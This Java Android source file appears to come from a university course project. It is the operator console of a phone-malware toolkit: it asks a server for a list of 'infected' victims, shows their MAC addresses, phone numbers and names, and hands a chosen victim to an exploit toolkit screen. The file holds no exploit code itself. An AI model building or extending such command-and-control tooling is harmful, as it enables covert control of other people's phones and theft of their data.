package fsu.cs.cis5930;

import java.util.ArrayList;
import java.util.List;

import fsu.cs.cis5930.Connection.Type;

import android.app.Activity;
import android.app.AlertDialog;
import android.app.Application;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.telephony.PhoneNumberUtils;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.view.Window;
import android.widget.AdapterView;
import android.widget.BaseAdapter;
import android.widget.ListView;
import android.widget.TextView;
import android.widget.AdapterView.OnItemClickListener;

/**
 * ClientActivity: This Activity will initially display the information relevant to all the infected
 *					Android phones. Upon selecting one of these, it will allow us to select from any of
 *					the implemented exploits to run remotely.
 */
public class ClientActivity extends Activity {
	/**
	 * VictimInfo:	Data structure for storing identification pertaining to the victim.
	 *
	 */
	public static class VictimInfo
	{
		public String MAC;
		public String Phone;
		public String Name;

		public VictimInfo()
		{ this("12:34:56:78:9a","123-4567890","Rebecca Black");}
		public VictimInfo(String aMAC, String aPhone, String aName)
		{MAC = aMAC; 
		if ( aPhone != null)
			Phone = PhoneNumberUtils.formatNumber(aPhone);
		else
			Phone = null;
		Name=aName;}
	
	}

	private VictimAdapter mVictimAdapter;
	private Connection mConnection;
	private TextView mTitle;
	private Context mContext;
	private GlobalApplication GLOBAL;
	private Handler receiveVictim;
	
	/** Called when the activity is first created. */
	@Override
	public void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		Eula.show(this);
		
		// Set up the window layout
		requestWindowFeature(Window.FEATURE_CUSTOM_TITLE);
		setContentView(R.layout.main);
		getWindow().setFeatureInt(Window.FEATURE_CUSTOM_TITLE, R.layout.custom_title);
		// Set up the custom title
		mTitle = (TextView) findViewById(R.id.title_left_text);
		mTitle.setText("Not connected");
		mTitle = (TextView) findViewById(R.id.title_right_text);

		GLOBAL = (GlobalApplication) getApplicationContext();
		
		
		
		List<VictimInfo> myList = new ArrayList<VictimInfo>();
		
		// TODO Remove when server is ready >
	//	myList.add(new VictimInfo() );
	//	myList.add(new VictimInfo("66:66:12:10:aa","850-3810291","John Doe"));
		// < end remove
		
		mContext = this;
		mVictimAdapter = new VictimAdapter(this, myList);
		
		final ListView mVictimView = (ListView) findViewById(R.id.victimView);
		mVictimView.setAdapter( mVictimAdapter );
		
	
		// Ugly inner classes ahead
		
		mVictimView.setOnItemClickListener( new OnItemClickListener() {

			public void onItemClick(AdapterView<?> arg0, View arg1, int arg2,
					long arg3) {
				final VictimInfo clickedVictim = mVictimAdapter.getItem(arg2);
				new AlertDialog.Builder(mContext)
				.setTitle("Confirm attachment")
				.setMessage("Connect to " + clickedVictim.Name + "? (" + clickedVictim.MAC + ")")
				.setPositiveButton("Yes", new DialogInterface.OnClickListener() {
					public void onClick(DialogInterface dialog, int which) {
						((GlobalApplication) getApplicationContext()).setVictim(clickedVictim);
						Intent intent = new Intent(mContext, ToolkitActivity.class);
						startActivity(intent);
					}
				})
				
				.setNegativeButton("No", null)
					
				.show();};

		});
		
		
		 receiveVictim = new Handler() { 
	        	@Override public void handleMessage(Message msg)
	        	{ 
	        		VictimInfo victim = (VictimInfo) msg.obj;
	        		mVictimAdapter.addItem(victim);
	        	}
	        };
	        
	     GLOBAL.setSendVictim( receiveVictim );
	     
	     
	  // TODO Uncomment when server is ready.
	 mConnection = GLOBAL.setConnection(Type.HACKER);
		mConnection.sendStringToServer("LISTVICTIMS"); // request victims to server
	} // end onCreate();
			


			public static class VictimAdapter extends BaseAdapter
			{
				private Context mContext;
				private List<VictimInfo> mList;



				public VictimAdapter(Context context,
						List<VictimInfo> myList) {
					this.mContext = context;
					this.mList = myList;
				}

				public int getCount() {
					return mList.size();
				}

				public VictimInfo getItem(int position) {
					return mList.get(position);
				}

				public long getItemId(int position) {
					return position;
				}

				public void addItem(VictimInfo c)
				{
					mList.add(c);
					notifyDataSetChanged();
				}

				public void removeItem(VictimInfo c)
				{
					mList.remove(c);
					notifyDataSetChanged();
				}

				public View getView(int position, View convertView, ViewGroup viewGroup) {
					VictimInfo entry = mList.get(position);
					if (convertView == null) {
						LayoutInflater inflater = (LayoutInflater) mContext
						.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
						convertView = inflater.inflate(R.layout.victim_layout, null);
					}
					TextView victim_name = (TextView) convertView.findViewById(R.id.victim_name);
					victim_name.setText(entry.Name);


					TextView phone = (TextView) convertView.findViewById(R.id.victim_phone);
					phone.setText(entry.Phone);

					TextView MAC = (TextView) convertView.findViewById(R.id.victim_MAC);
					MAC.setText(entry.MAC);


					return convertView;

				}
			}
		}